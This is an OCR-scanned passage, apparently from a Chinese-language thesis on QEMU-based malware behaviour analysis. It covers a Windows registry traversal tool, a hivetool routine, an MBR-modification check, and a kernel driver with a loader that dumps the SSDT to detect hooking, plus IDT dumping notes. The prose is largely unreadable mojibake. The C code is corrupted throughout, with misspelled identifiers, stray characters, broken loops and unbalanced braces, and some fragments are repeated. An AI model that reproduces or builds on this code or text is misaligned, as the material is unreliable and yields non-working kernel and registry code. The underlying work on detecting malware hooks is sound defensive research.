LPTSTR slashEscape( LPTSTR key, DWORD initial )
{
DWORD i, j;
DWORD leng = _tcslen( key );
TCHAR tmpKey[MAX_KEY_LENGTH] = {0};

_tescpy( tmpKey, key );
memset( key, 0, MAX_KEY_LENGTH );

i=0;
i=0;
while(i<leng) {
if( tmpKey[i] =="/") {
key[j] = '\\';
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}

++j;

else if( tmpKeyl[i] == "\\' && initial ==0) {

keyl[jl="/";
}
key[j]="\\';
++j;
key[j]="\\';
}
else
key[j] = tmpKey[i];
+4+i;
++j;

return key;

void traverseKey( HKEY hKey, int depth, BOOL recursive , TCHAR* path )

{

HKEY phKey;
TCHAR* full=path;
path += strlen(path);

TCHAR

DWORD
TCHAR

DWORD
DWORD
DWORD
DWORD
DWORD

key

DWORD
DWORD
DWORD
DWORD

subKey[MAX_KEY_LENGTH];

szName;

// buffer for subkey name

// size of name string

className[MAX_PATH] = _T(""); // buffer for class name

szClassName = MAX_PATH;

numSubKeys=0;
lenMaxSubKey;
lenMaxClass;

numValues;

lenMaxValue;
lenMaxValueData;

szSecurityDescriptor;

type;

BYTE data[MAX_DATA_LENGTH];

DWORD

// size of class string
// number of subkeys
// longest subkey size
// longest class string

// number of values for

// longest value name
// longest value data
// size of security descriptor

// data type of subvalue

// buffer for data of subvalue
lenMaxData = MAX_DATA_LENGTH;

// data length of subvalue

242




FILETIME ftLastWriteTime; // last write time

DWORD |, j, retCode;

TCHAR subValue[MAX_VALUE_NAME];
DWORD mxValue = MAX_VALUE_NAME;

// Get the class name and the value count.
retCode = RegQuerylnfoKey(

hKey, // key handle

className, // buffer for class name
&szClassName, // size of class string

NULL, // reserved
&numSubKeys, // number of subkeys
&lenMaxSubKey;, // longest subkey size
&lenMaxClass, // longest class string
&numValues, // number of values for this key
&lenMaxValue, // longest value name
&lenMaxValueData, // longest value data

&szSecurityDescriptor,  // security descriptor
&ftLastWriteTime); // last write time

// Enumerate the key values.
if ( numValues )
{
for (i=0, retCode=ERROR_SUCCESS; i < numValues; i++)
{
mxValue = MAX_VALUE_NAME;
subValue[0] = "\0';
if( (retCode = RegEnumValue(hKey, i, subValue, &mxValue, NULL,
&type, data, &lenMaxData)) == ERROR_SUCCESS ) {

_tprintf( _T ("%s/"), full );
if( strlen(subValue) ==0)
_tprintf( _T("\\0 "));
else
_tprintf(_T ("%s "), slashEscape(subValue, 0) );
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switch( type ) {
case REG_SZ:
case REG_LINK:
case REG_EXPAND_SZ:

_tprintf( _T ("%s\n"), (LPTSTR)data );

break;
case REG_DWORD:
default:
for(j=0;j<lenMaxData; ++j )
_tprintf(_T ("%02x"), (DWORD)datalj] );
_tprintf( _T ("[%d]\n"), lenMaxData );
break;
}
memset( data, 0, MAX_DATA_LENGTH );
lenMaxData = MAX_DATA_LENGTH;

// Enumerate the subkeys, until RegEnumKeyEx fails.
if ( numSubKeys )
{
for (i=0; i < numSubKeys; i++)
{
szName = MAX_KEY_LENGTH;
if( (retCode = RegEnumKeyEx( hKey, i, subKey, &szName, NULL,
NULL, NULL, &ftLastWriteTime)) == ERROR_SUCCESS &&

RegOpenKeyEx( hKey, subKey, 0, KEY _READ, &phKey) == ERROR_SUCCESS ) {
strcat( path, "/" );
strcpy( path+1, slashEscape(subKey, 0) );
_tprintf( _T ("%s/\n"), full );
}
if( recursive ==1)
traverseKey( phKey, depth+1, recursive, full );
RegCloseKey( phKey );
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int _tmain( int argc, LPTSTR argv(] )
{
HKEY phKey;
BOOL recTraverse;
inti;
int argKey;
TCHAR path[0x1000] ={0};

LPTSTR mainKey, subKey;

LPTSTR preDefKeyName[PRE_DEFINE_KEY_TYPE] = {
_T ("HKEY_CLASSES_ROOT"),
_T("HKEY_CURRENT_USER"),
_T("HKEY_LOCAL_MACHINE"),

T ("HKEY_USERS"),
_T("HKEY_CURRENT_CONFIG")

HKEY preDefKey[PRE_DEFINE_KEY_TYPE] = {
HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER,
HKEY_LOCAL_MACHINE,

HKEY_USERS,
HKEY_CURRENT_CONFIG

/* Check for execution arguments */

if(argc==2){
recTraverse = 0;
argKey = 1;

}

else if( argc == 3 && _tcscmp( argv[1], _T("-R"))==0){
recTraverse = 1;

argKey = 2;
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}

else {

_tprintf( _T ("Usage: winReg.exe [-R] RegistryStartKey\n") );
return 1;

}
strcpy( path , argv[argKey] );

mainKey = _tcstok( argv[argKey], T ("\\"));
subKey = _tcstok( NULL, _T(""));

for(i=0; i< PRE_DEFINE_KEY_TYPE; ++i)
if( _tcscmp( mainKey, preDefKeyNameli] ) == 0)
break;

/* Check if the specified Registry Key exists */
if(i == PRE_DEFINE_KEY_TYPE ) {
_tprintf( _T ("Wrong Registry Key Type\n") );
return 1;

if( RegOpenKeyEx( preDefKey[i], subKey, 0, KEY_READ, &phKey) ==
ERROR_SUCCESS ) {

slashEscape( path, 1);
win2unixPath( path );

traverseKey( phKey, 1, recTraverse, path );

RegCloseKey( phKey );
return O;

}

BT ORR AR s B TR

int _tmain( int argc, LPTSTR argv(] )
{

/] AT —SEEENE &
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/] AU T2 Key > WERE A S Sk dmiRes ] LB T b
JEHY Key

/] AEZ 1R AIAIZE: subkey

mainKey = _tcstok( argv[argKey], T ("\\") );
subKey = _tcstok( NULL, _T(""));

/] & TR A Key 2 0F &

/] 5 key {71E > BLEBHRU » EEINR LR IESE > 58
Unix BI]DIESTE » PEEBLEIHERZ key TNHY subkey Al value -

A -R SHHAIE A Recursive T FHEHIVFTA N %

if( RegOpenKeyEx( preDefKey[i], subKey, 0, KEY_READ,
&phKey) == ERROR_SUCCESS ) {
slashEscape( path, 1);
win2unixPath( path );
traverseKey( phKey, 1, recTraverse , path );

}

RegCloseKey( phKey );
return O;

}

slashEscape B #_&JB it /& » #-h i@ T/ S T\/ >0\ dE = T\\ o i34k -
v TR AT % o (f2N? R ek T\ Z & T\\)e win2Unix
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void traverseKey( HKEY hKey, int depth, BOOL recursive , TCHAR* path )

{
/] —BRIiETE $
/] #7171 RegQuerylnfoKey =1{[E API » H] DLHUFE: hkey HYAHRH &
retCode = RegQuerylnfoKey(
hKey, // key handle
className, // buffer for class name
&szClassName, // size of class string
NULL, // reserved
&numSubKeys, // number of subkeys
&lenMaxSubKey;, // longest subkey size
&lenMaxClass, // longest class string
&numValues, // number of values for this key
&lenMaxValue, // longest value name
&lenMaxValueData, // longest value data

&szSecurityDescriptor,  // security descriptor
&ftLastWriteTime); // last write time

/] M4 % RegQuerylnfoKey [E{EIY4EIRER H g & AVIE(E key NEA
subkey B value » FRJEEFLAE N EGRHL IS H %
if (numValues)
{
for (i=0, retCode=ERROR_SUCCESS; i < numValues; i++)
{
// FlJFH RegEnumValue i1 API » JEE Y value ¥l H %
if( (retCode = RegEnumValue(hKey, i, subValue, &mxValue, NULL,
&type, data, &lenMaxData)) == ERROR_SUCCESS ) {

/] RSN &
_tprintf( _T ("%s/"), full );
if( strlen(subValue) ==0)
_tprintf( _T("\\0 "));
else
_tprintf(_T ("%s "), slashEscape(subValue, 0) );
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/] TR value HYRIREA [EIMEA [FHY R 32
switch( type ) {
case REG_SZ:
case REG_LINK:
case REG_EXPAND_SZ:
_tprintf( _T ("%s\n"), (LPTSTR)data );
break;
case REG_DWORD:
default:
for(j=0;j<lenMaxData; ++j )
_tprintf(_T ("%02x"), (OWORD)datal[j] );
_tprintf( _T ("[%d]\n"), lenMaxData );
break;
}
memset( data, 0, MAX_DATA_LENGTH );
lenMaxData = MAX_DATA_LENGTH;

/] %5E value » 32K RegEnumValue Z{# APl > JBE THY subkey %I[H %
if ( numSubKeys )
{
for (i=0; i < numSubKeys; i++)
{
szName = MAX_KEY_LENGTH;
if( (retCode = RegEnumKeyEx( hKey, i, subKey, &szName, NULL,
NULL, NULL, &ftLastWriteTime)) == ERROR_SUCCESS &&

RegOpenKeyEx( hKey, subKey, 0, KEY _READ, &phKey) == ERROR_SUCCESS ) {
strcat( path, "/" );
strcpy( path+1, slashEscape(subKey, 0) );
_tprintf( _T ("%s/\n"), full );

/] EH-R 28 JIF]A recursive 1Y =i subkey THYERPEH Y]

if( recursive ==1)
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traverseKey( phKey, depth+1, recursive , full );
RegCloseKey( phKey );
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(b)VM ¢k 8B~ Reg info. [Hivetool]

A ERSHI SR T AR RIS cF LG AR E T A R
T e FRARIP o B fS F ARV AR TR 31fZ o hivetool = = eh1 1T E_ LB~
® windows % &85 s hive % > @ &3 hive % € 7 H B DE S BRI -
A4l * hivetool & N RE DB F T ESWHBDE o wd A p it
(hivetool) s &4 ¥ » 5cF B3 5 F B 4B o 4 BT A3 4 PP o
T § R ARG B et S 0 BT G B aTIRA & o

EREPBEL ORIV ORRADET €3 BIRDAFE T o 7 i B
A AL ehp g fi&;g ¢ 7 33 F Windows & 44 - e NP Ed 53
thE > 1o NTFS i b stfe B iz v ic § 7 @4 0 2 Hh % o7 bchmic e o

B R AL EF S R R o 7 & 538 Sleuth Kit kB 7 i3

2

%

%3 o Sleuth kit ¢ 28 % st T2 % PHRBOH IR I BN

=

¥

R AR T 0 AT AR B o

b

oAb ere 5 ehph E o F 7 i

FoR 216 0 £ % hivetool i& {7 4 47 » 5 Frte R PR S R T 2 TG EE S 1Y

Ee:|
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B 4-51 HUSAMNET S s & el 2 A RL [

ki e as WUEUAE

T TREIE

=
A

K] Sleuth Kit

SRR SR

Bl =1k

H
YN S SRR ZE A
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int main(int argc, char** argv ){
char p[] ="/";
printf("safe0!!\n");
fflush(0);
if(0 '= hl_mount_list( argc-1 , &argv[1l] )){
fprintf(stderr, "hl_mount_list() had issues (%s), \
| am going to continue...\n",
uerr_str( uerr_get() ));
}
printf("safel!\n");
fflush(0);
if(0 !=ns_chdir(p))
printf("Couldn't chdir to initial working directory %s: %s",\
p, uerr_str( uerr_get() ) );
cmd_recurse( );

A28~ %‘Jflr“%z;g B main SiFt o TP RARR P TR R Y L amen o ﬁr%ji%l PN
g L & - B hive #% 5 55 @ hl_mount_list #-¢ = 54 ohds hive g 42 % o
hl_mount_list _s % lib/libhive.c 42 > © $& & 7 KpE fé;.if]’g‘:ﬁ’!ﬁ’é’}‘r v Ats )*I%‘Jv" v
* hivetool # i er3n ;8 B K 5 B % 404578 o @ ns_chdir P B2 p w0 e F 41858
R MBENKRE AN TG DE B R ESBRAR L root VM@
cmd_recurse i ;% #-¢ v v ns_recurse i3t o B * g EFE TG 4p LE EAB R
BT ety 4ETE 0 T & i hivetools/nstdreg.c oo d AT E 4 B2 Rhn AR E T R
S (B T) T A S AR L 2P e R B IR RSN F T Y

AR ER P AR AeAE AT o
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423 MBRET 3%

BOBEAEY > AP PHENAGOT -BREF R MPERA

Master Boot Record » X @ & BIOS §* » fad g % T34 {75 # Pz {35 5 1%

e

& XL M 473 Chain Loading g i® » 7= R AR #ea B Partition ® ey —

BRTF » fL 5 Volume Boot Sector » ™ 5 5 £ B2 * o AAERAFT Y Y 0 AN

TR

42t 52 VBR S E Bl 0 Fbe » AP MBR L IF P E ¢ o

3 & MBR R B > £ & B I #rig snapshot en® » & iF % 4 B VBR ~
MBR 712 :x o #73} snapshot ¥ ioérte— B P BET & e fi > i F ) *
FRT Feth i MK T T E G T Pk Sehig pegm ¢ e b snapshot ¢ o #f
r2 24 4% snapshot ¢t 38 & f2 > LT commit all 35 £ % #-snapshot + 2. i3 22§ »
g% image ¥ 0 RREEAp 4 4 g% BT AR B PGB R E il 0 AP A
gk 2% MBR/VBR E_F 5 A4 12 2xo F] snapshot ¢ se4ix i ¥ & sLenig e >
#7424 * snapshot - L7 commit all 45 4 #-snapshot + 2 i3 sxze s ® I &
i image ¥ oo REEZIp 4 4 € W BTG RS B R R Sl AP I pL
HaBLE grep—q-—X-E 0 /32256" kH|ETRFREEY £F 577 0 32256 0 F 3

& 3 4402 e > R MBR Modified ; 525 &5 448 & MBR Clean -

254



&% 4-52 BIERLE

snapshotia % & 445
o ey A5 B

commit all

B A & #hihimage
it w AR A A B
A

MBR Modified
RAMBRA #
%74

#| H
grep —q —x —E “0 | 32256°
Stk E wg e B %
%% % T & # 0(MBR)

#,32256(VBR)

MBR Clean
£ FEMBRAH
A5 L

&% 4-53 e (<1>

cho "MBE Modified" Il eche "MER Clean"

&7 4-54 23 (H5<2>

when
line = + line[cmdarez[U]. lengtht .. -] + + Eofn +
cnddehell( line 3

B3 4-55 2= H5<3>

79 gemncnd commit all

179:

fr====MBR Modification Scanning ====
180:

sh|-101 g+ % fL=v & % 101 f7 e > » ¥ 5 79 {7 chix ¥ (180-101) » P~ 3% few
a3 ¢ (gemucmd commit all) 34 /5 cmd4shell() % #-v # 3 = 45 £ > 334
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7o g kA1 ¥ grep—q-—X—E 0 /32256" > kL|¥rH H 74

i

P AZEz3 0
32256 > &% * 4% MBR 7§ # 2z » T & 1 MBR Modified & mbr > 3 & p] 5
MBR clean- 2 ¢ > 515 & B track ¥ 63 2% > * B % §_512bytes > m
5 - B AR RS - B track B dp e FIL R - B A 2 R i H E 63x512

32256 0 %4 5 VBR @ 0 5 MBR > r i B8 Az 4n & 38 o
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4.2.1 SSDT Hooking

50 Ef-SSDT ehx M7 4 & & #5088 Sec » 24 13 Guest OS p 38 % 36—
kernel-level driver = i 2% 7 4] * KeServiceDescriptorTable #ﬂ g - g SSDT
F AR a2 d 4k 220 Guest OS 42 s user-level [k e Fsjc A28 f §
fRE sz drivere A X BB EIF AR T R L0 AP A g LiE 2 o
E il g e B AR T e 4 R A 3% driver - (FP~1F SSDT § # e i
Ppbis o £ 1% QEMU R st il #am s B T BB ) o S FH T L Rl ol
s PR ERl L e R EAED LR TE G AL 0 PR

R ¥ A e SSDT v 3 hook 27 B & 7 5 2 4 o

(a) Writing Kernel-Mode Drivers

P3| Driver 2B F > B A BB II2LY MiFen * Rfpdl Rk 7 LA D
M w9 * ahgic®d o F£H Driver -0 425V % ;L—‘ﬁ LF A AL o FE
= Windows 2000 2 i efwx & 3% i 5 4 & 7 fi(layered) - Driver model » 3% § 245
© Driver 0 * —*ﬁ » VR 3 03T B P ouser-mode = library k3% TR 48 0 T B~
¥ % & 11 CPU privilege level 3|45 fe s i o

IOCTL(Device 1/0 Control) &_t ® Driver g * ch— @437 5 % &k § s
user-mode 42 N ¥ U iEE A o § - B A user-mode T AR N F B
kernel-mode ™ 4 it £ 3|sh§ ik IOCTL 32 i - A% - * %k §le+ user-mode

T chifg ;¢ B~ {8 kernel-mode T e R o
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IOCTL - faPr4L > TV M ERFF P IREE T P 0P 7o - Kk
FIOCTL & § r2 ™ Mgk i .
1. ®&* ¥ F %84 % 5 entry point RIzHlEE - FH] R T & Windows2000
T » v §_— 1B win32 & function DeviceloControl() °
2. AU* entrypoint RiFH|E pFofé —‘ﬁ & B $ & device ID~# 445 ~input data
buffer~output data buffer- & Windows 2000 ¥ device ID ,T.%‘{— i ”HANDLE"” -
3. 4x#lAs * k£ PFdp T device’s IOCTL dispatcher ¥%— i control function #-i
g #* 3] oo
4, @& * —‘F"f % I $¢ & Input buffer p e3> Input buffer # 7 #73 device % =
request FF¥7 % e 3N o
5. Device = = request {5 » € #-% % @ I output buffer -
6. & =X request %% % 75"3 ¢ 11 status code ¥ IR 5% * —‘F'? o
BRI R Aok B —‘F'ﬁ% ¥ %% 3 P~— B memory address i > & * ‘%T
# =34 58 0x80002000 % 4% » 2 w4 % i€ - B read #operation » % input
buffer p & & $% & base address 2 number of bytes to read » & 75 j€_memory 3% J) e
17 #4473 7% A output buffer p o
1. T 6 38 Driver pF> 22328 — 42 Win32 4258 7 e 8] 3% 7 - — 45 0Win32
#2 3% 2 & g header file 3 windows.h » e ¥+ kernel-mode driver 4% ;% 75 >
ntddk.h % # 3 & = header file -

2. 2 & enentry point = DriverEntry() » m 2£ Win32 7 WinMain() & main() -
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[El$%4-56 HEETDriver¥ - Driverfiyih A BLFHE Fmain() (BF%5 | FI B Undocumented Windows 2000 Secrets Chap 3
Listing 3-1 p.124)

NTSTATUS DriverEntry (PODRIVER_OBJECT pDriverChject,

PUNICODE_STRING pusRegistryPath);

3. —ibE FHAyData Typedl : BYTE - WORD - DWORDZ#E & kernel-mode
driverfF & A #E{E A » AU A2 UCHAR ~ USHORT ~ ULONG -

Kernel-mode Driver £ main function: DriverEntry() ¢ -z = — i device object
% ¢ ghsymbolic link » I 3= device object i3 = global 7% # - i& % device object
N F A RHE-¢ FcE B orequest HT¥E driver w i@ e % o Driver fz 3
request ¢ £ - i IRP(I/O Request Packet) -

DriverEntry() € 4= #75 12 3]0 IRP %t— % % DriverDispatcher()aJd® » #7117 f

DriverDispatcher() P § 7 & * & B4 iz 45 £ 45 F £ hIRP 5 i %] 2 -

(b)Service Control Manager

— AR enfiR T s driver i b A B opEiz o € 4% load 3]k sLg P oo e A
A ¥ & =x— § 7 driver 2 18 I‘I.%EE AT A & load - % > Windows 2000
# &7 Win 32 chinterface: Service Control Manager-% & :& % 4 & ¥ 12 & runtime
p* 2.3 driver load and unloading -

Service Control Manager + 1 32 FR 3% (Service) f- 58 # 4% 5% (driver) » SC
Manager = interface 4§ ¥ & Win 32 subsystem ® &7 advapi32.dlle 4.+ 12 3 B~ R
ix2_ @0 % Jp 3% i OpenSCManager() 2~ — I HANDLE> z_ {$ 1+ CreateService() -

OpenService()F < ’f 7 iz HANDLE -
EF 4-57 &Y SCManager ALY function (BF5 [ EH Undocumented Windows 2000 Secrets Chap 3 Table 3-3
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p.144)

NAME DESCRIPTION
CloseServiceHandle Close handle obtained from openscManager(), CreateService(), or
OpenServicel()
ControlService Stop, pause, continue, interrogate, or notify a loaded service/driver
CreateService Load a service/driver

DeleteService
OpenSCManager
OpenService
QueryServiceStatus

StartService

Unload a service/driver

Obrain a handle to the SC Manager

Obtain a handle to a loaded service/driver

Query the properties and the current state of a service/driver

Start a loaded service/driver

% Load % running — 1B service PF » il ¥ R PR IL T g 5}? :

1. OpenSCManager()#

| HANDLE -

2. CreateService()F — 1 Service 4c » % kL? o

3. StartService()3= Service sk Ap K 2 I A * ¢ o

4. CloseServiceHandle().5 & — & Service ¥ ##3x 3 ik o

(c) Kernel-mode Driver #23%#%

I1T 42 3 4% % Kernel-mode T & Driver v (2 B b 3G B A RBARFY o

1% v % kernel-mode T it 4

B | R DT R o

» 2% user-mode T RNV LR EMEPE 0 U 3
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[E]7% 4- 58kernel-mode Driver partl

1 #include <ntddk.h>
2 #include <ntstrsafe.h>

4
5[ //F B SystemServiceTableth 0l £ KeServiceDescriptorTable |
6 struct SYS SERVICE TABLE {
7 PULONG ServiceTable;
8 ULONG CounterTable;
9 ULONG ServiceLimit;
10 PVOID* ArgumentsTable;
11 };
12
13 extern "C" struct SYS _SERVICE TABLE* KeServiceDescriptorTable;
L
16
17 extern "C" NTSTATUS DriverCreateClose(IN PDEVICE OBJECT device,IN PIRP Irp)
18 {
19 Irp->IoStatus.Status = STATUS SUCCESS;
20 IoCompleteRequest( Irp, IO NO INCREMENT );
21 return STATUS_SUCCESS;
22 }
24 - e e e e e e e e e e e e oo
25
26 extern "C" NTSTATUS DriverDispatch(IN PDEVICE OBJECT device,IN PIRP Irp)
27 {
28 static PHYSICAL ADDRESS SSDTPhysAddr;
29
30 PUCHAR buff =0;
31
32 PIO STACK LOCATION loc = IoGetCurrentIrpStackLocation( Irp );
33
34 //%0 % Control CODEZ 415,# SSDTRY ServiceTablefy address?F @) Output Buffer,
35 //i& {8 serviceTablefs 89 2 Native APIfYfunction entry
36 2 7( loc->Parameters.DeviceIoControl.IoControlCode == 415 ) {
37 buff = (PUCHAR)Irp->UserBuffer;
38 SSDTPhysAddr = MmGetPhysicalAddress( KeServiceDescriptorTable->ServiceTable )
39 RtlCopyMemory( buff , &SSDTPhysAddr.HighPart, 4 );
40 RtlCopyMemory( buff+4, &SDTPhysAddr.LowPart , 4 );
41 RtlCopyMemory( buff+8, &KeServiceDescriptorTable->ServiceLimit, 4 );
42 }
43
44 |//!1ﬂ F Control CODEZ 1000,# input buffermF MU AN HEMICIEE NS Mt , WP output buffer |
45 else 17( loc->Parameters.DeviceIoControl.IoControlCode == 1000 ) {
46 RtlCopyMemory( Irp->UserBuffer, KeServiceDescriptorTable->ServiceTable
47 , KeServiceDescriptorTable->ServiceLimit );
48 }
49
50 Irp->IoStatus.Status = STATUS_SUCCESS;
51 //Irp->IoStatus.Information = 12;
52 IoCompleteRequest( Irp, IO NO INCREMENT );
53 Eeturﬁ STATUS SUCCESS;
54 }
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Bl 4-59 kernel-mode Driver part2

58 extern "C" void DriverUnload(IN PDRIVER OBJECT driver)

59 {

56 UNICODE STRING devlink;

:Z RtlInitUnicodeString({ &devlink, L"\\GLOBAL??\\MBA DEVICE" );

53 IoDeleteSymbolicLink( &devlink );

54 IoDeleteDevice( driver-=DeviceObject );

=

:_Iflf ---------------------------------------------------------------------------

o[//Driverfmain function]
71 extern "C" NTSTATUS DriverEntry( IN PDRIVER_OBJECT pdo, IN PUNICODE_STRING reg_path )

72 {
73 /* Used to create device in global space, let other one can access it. #*/
74 PDEVICE OBJECT devobject=0;
75 UNICODE STRING devlink,devname;
77 RtlInitUnicodeString( &devname, L"\\Device\\MBA DEVICE" );
78 RtlInitUnicodeString( &devlink, L"\\GLOBAL??\\MBA DEVICE" );
BE IoCreateDevice( pdo, 256, &devname, FILE DEVICE UNKNOWN, ©, TRUE, &devobject );
81 IoCreateSymbolicLink( &devlink, &devname );
_T pdo-=DriverUnload = DriverUnload;
B4 pdo->MajorFunction[IRP MJ DEVICE CONTROL] =DriverDispatch;
85 pdo-=MajorFunction[IRP MJ CREATE] =DriverCreateClose;
b pdo-=MajorFunction[IRP MJ CLOSE] =DriverCreateClose;
B -eturn STATUS SUCCESS;
0}

(d)user-mode T retr SSDT #& ;%4
User-mode T &1— £L Win32 #2374 » Wi B a3 VB {8 SSDT

ServiceTable -
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&3 4-60 user-mode FE2, partl

1 I-F_FI.LHL LUdE =wWilNnaows.n>
2 #include <tchar.h=
3 #include <stdio.h>
4 #include <stdlib.h=
LY

> SC_HANDLE hSCMan;

B // - ioioioees
18 void showErrorAndExit( const char* msg, BOOL doExit )

11 {

12 TCHAR err[16024];

14 FormatMessage(

15 FORMAT MESSAGE FROM SYSTEM | FORMAT MESSAGE IGNORE INSERTS,
16 NULL,

17 GetlLastError(]),

18 MAKELANGID( LANG NEUTRAL, SUBLANG_DEFAULT],
19 err,
20 1024, I
21 MULL };
22 _tprintf{ T("%s: %s\n"), msg, err};
24 17 doExit )
25 exit(-1);
26 }
B T
30 inline void driverInstall( LPTSTR serviceName, LPTSTR sysFilePath )
31 {

32 SC_HANDLE hService = NULL;

33

34 // add to service control manager's database

35 2T ( (hService = CreateService( hSCMan,

36 serviceName,

37 serviceName,

38 SERVICE ALL ACCESS,

39 SERVICE KERNEL DRIVER,
40 SERVICE DEMAND START,
41 SERVICE ERROR_NORMAL,

2 sysFilePath,
43 NULL,
- NULL,

5 NULL,
46 NULL,
47 NULL)} == NULL }
48 showErrorAndexit("CreateService", FALSE);
49 }
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B3 4-61 user-mode FE2, part2

52 1nline vold driverStart( LPTSTR serviceName )

54 {

55 SC HANDLE hService = NULL;

20

57 // get a handle to the service

58 1T ((hService = OpenService(hSCMan,

59 serviceName,

60 SERUICE_ALL_ACCESS)) I= NULL) {
61 // start the driver

62 it ( 1startService( hService, 0, NULL) )

63 showErrorAndeExit("StartService", FALSE);

64 }

65 else showErrorAndeExit("OpenService", FALSE);

66 CloseServiceHandle(hService);

67 }

68
Tt L P L TP L L L L
70

71 inline void driverStop( LPTSTR serviceName )

72 {

73 SC_HANDLE hService = NULL;

74 SERVICE STATUS serviceStatus;

76 // get a handle to the service

17 1T( (hService = OpenService(hSCMan,

78 serviceName,

79 SERVICE_ALL_AECESS) 1 1= NULL} {

// stop the driver
17( ControlService(hService, SERVICE CONTROL STOP, &serviceStatus) == FALSE )
showErrorAndexit("ControlService", FALSE);
}
else showErrorAndExit("OpenService", FALSE);
CloseServiceHandle(hService);

96 inline wvoid driverRemove( LPTSTR serviceName )

91 {

92 SC HANDLE hService = NULL;

93

9 // get a handle to the service

a5 17{ (hService = OpenService(hSCMan,

96 serviceName,

97 SERVICE_ALL_ACCESSJ) I= NULL ) {
98 J// remove the driver

99 it ([ DeleteService(hService) == FALSE )

188 showErrorAndexit("DeleteService", FALSE);
181 }

182 else showErrorAndeExit("OpenService", FALSE};

183 CloseServiceHandle(hService);

104 }
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&% 4-62user-mode F25{ part3

108 void retrSSDT( PDWORD userBuffer, DWORD bufferSize, DWORD controlCode )
{

DWORD dwBytes;

HANDLE hDevice = CreateFile("\\\\.\\MBA DEVICE",
GENERIC READ | GENERIC WRITE,
9,

I 0,

115 OPEN_EXISTING,

116 FILE ATTRIBUTE_SYSTEM,

117 0);

119 |//Et1 IOCTLE $5 E Device T request]

120 17( DeviceIoControl( hDevice, controlCode, NULL, O, userBuffer, bufferSize , &dwBytes, 0 ) == 0 )
121 showErrorAndeExit("DeviceIoControl", FALSE);

22 CloseHandle( hDevice );

123 }

124 int _tmain( int argc, LPTSTR argv[] )

125 {

126 DWORD 1i;

127 DWORD SSDTInfo[3] = {0}; // [0-1]: 8 bytes address, [2]: limit

12 PDWORD SSDTContent;

130 if( argc =3 ) {

131 _tprintf( _T("Usage: %s service name sys file full path"), argv[0]);
132 return 1;

133 }

13 [//:&3@ Service Control ManagerHl§ — f& HANDLE]

17 ( (hSCMan = OpenSCManager (NULL, NULL, SC MANAGER ALL ACCESS)) == NULL )
137 showErrorAndExit("OpenSCManager", TRUE);

138

139 driverInstall( argv[1], argv[2] );

140 driverStart( argv[1l] );

142 [//control CODE 415: = 3 SSDT#I ServiceTablef i t& 58 fi 4it|

143 retrSSDT( SSDTInfo, 12, 415 );

SSDTContent = (PDWORD)malloc( =:izeof(DWORD)*SSDTInfo[2] );

7 [ //Control CODE 1000: %I f Z & AR5 &9 SSDT#Y ServiceTabled) fil it , AR 45 ServiceTables) &
retrSSDT( SSDTContent, =izeoT(DWORD)*SSDTInfo[2], 1600 );

150 for( 1 =0; 1 < SSDTInfo[2]; ++i )
151 _tprintf( _T("%08x\n"), SSDTContent[i] );

153 driverStop( argv[1] );
154 driverRemove( argv[1l] );

free( SSDTContent );
& CloseServiceHandle( hSCMan );
ratirn 0;

F#* 1} i user-mode T 4% ;% #5 A2 kernel-mode = Drivers 24 i ¥ 2 $E:E Windows
¥ SSDT enig » g 4| &8~ {8 SSDT ¢ Service Table -

BB SSDT i » AP RER S T il ¢ B hiprofrl » A (75
Kis > Bl 2 £ ATEF - =t SSDT > 4t 24 fF“,T&‘.? 1A B R B AR
oo R T EH TS SSDT enZ W] o 4% SSDT F o s o 7R fra;T}t;-‘;: e EEE

GAeN € B ks o Fl A AP EEE & QEMU ] Guest OS #, {7 sz st » 47
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2 SSDT « g & %5 d CovertCh 33 SSDT @ 3] QEMU #t » 2 {8 s 874 & - 14

TR TESLAREE

[BZ2 4-63 retrSSDT workflow

FFEretrSSDT( ) Control CODE:415
E{5 1 1ESSDTH4yServiceTable L g firtl

#{FretrSSDT() Control CODE:1000
R RB I a=EHEFIServiceTable

BT REAER

FJFEretrSSDT( ) Control CODE:415
BB FESSDT R4y ServiceTable LS firak

e ‘tﬁf&&%\%ﬁﬁ :

FFretrSSDT() Control CODE: 1000
BRI =Z ¥ fEAYServiceTable

1. A7 &l 2w o & e ed user-mode T e retrSSDT() » 4 27 F e
Control CODE - retrSSDT()4% P& Control CODE 1% F » &% — =X erwed vl B 48
System Service Table Ziefgf8® riz % > &% = X% % - IG5 BT 4 2
A 13 22 i e System Service Table -

2. BAH T A ordest > AR F S o

B L OMENH TR (S L 3 et e retrSSDT() » B~ 18 System Service

Table -

JI* A B ehfg sV 34 7 5 (4 #7818 ¢ System Service Table» +* ¢ 145 System

Service Table s7% f > £ 3 IR AR > PIH] 2 4258 F B2 bk pr e L
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4.2.2 IDT Hooking

d 20 IDTR 4.5 % IDT As Ry hendig B Fpt AP e 0w a3 74250
A fs @ B pF R gL * SIDT a‘]a £ K_IDTR % 7 3] IDT ez i f8 i~k > % IDT dump
HkiErg 53 B IDT chp 2L F40F > 4ok 2 4ple > T & & AR 17 ez 5
- ERAr o BEIDT 177 B2z 4ok pl - T L% R B2 IDT >

% ointerrupt # 4 pF o TR v A (FEN AR > T A HT N S B R et ¥ o

[E]734-64 dumping the IDT work flow

HIFte=SIDTEISF
FEIDTRePEYIDTEC RS AIHE

A

ﬁ%na fﬁﬁg{ltﬂ:
& 5[ iTEIDT
' DT
- PERC N
FFIHe4 SIDTEE

FEIDTRFIDTEC B RS AT kE

IDTE A - 3
e

A 4

BRI E
TR FERYIDT

v

g AP 2 L RAFAEN TS BREFROIDTA Z LR X
lETzAest A2 A - BERARS > Flpt- B gl SIDT dp 4 RF 33 &
IDTR ¢ IDT ee gt nt - £ 3 3% ¢ dump 2 IDT shp % - 2t SR AR
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Fan e IDT; £ AR Fachepl iz R EF R - % SIDT 4 4 £3175 & IDTR
POADT e it i=at 0 3 3% Rt a £ PR IDT o 5 34 74258 18 enIDT

Bis o 1A B IDT ehph 287 E4pF > 4ok iple N £ 35N 2288 A5 o
4ok 7 e Aoor IDT @ FIREARN enf (74K 177 Bez s 2 - BERAS » Voo @2 %

B wf o T AL S 5% do_dump_idt()IYFEZCHS

/* dump IDT from linear address idt.base
IDT_ENTRY_MAX_NUM =256 > F] IDT 5 256 # interrupt vectors */
/*virtual memory access for debug*/
/*idt.base % IDTR ¥ IDT ¢ base address*/
cpu_memory_rw_debug( env, env->idt.base, buffer, IDT_ENTRY_MAX_NUM << 3,0 );
[*¥#-dump &k e FARLE (B )~ 4 % (output_fname) @ */
for(i=0,idt_ptr = (uint32_t*)buffer; i < IDT_ENTRY_MAX_NUM; ++i, idt_ptr +=2)
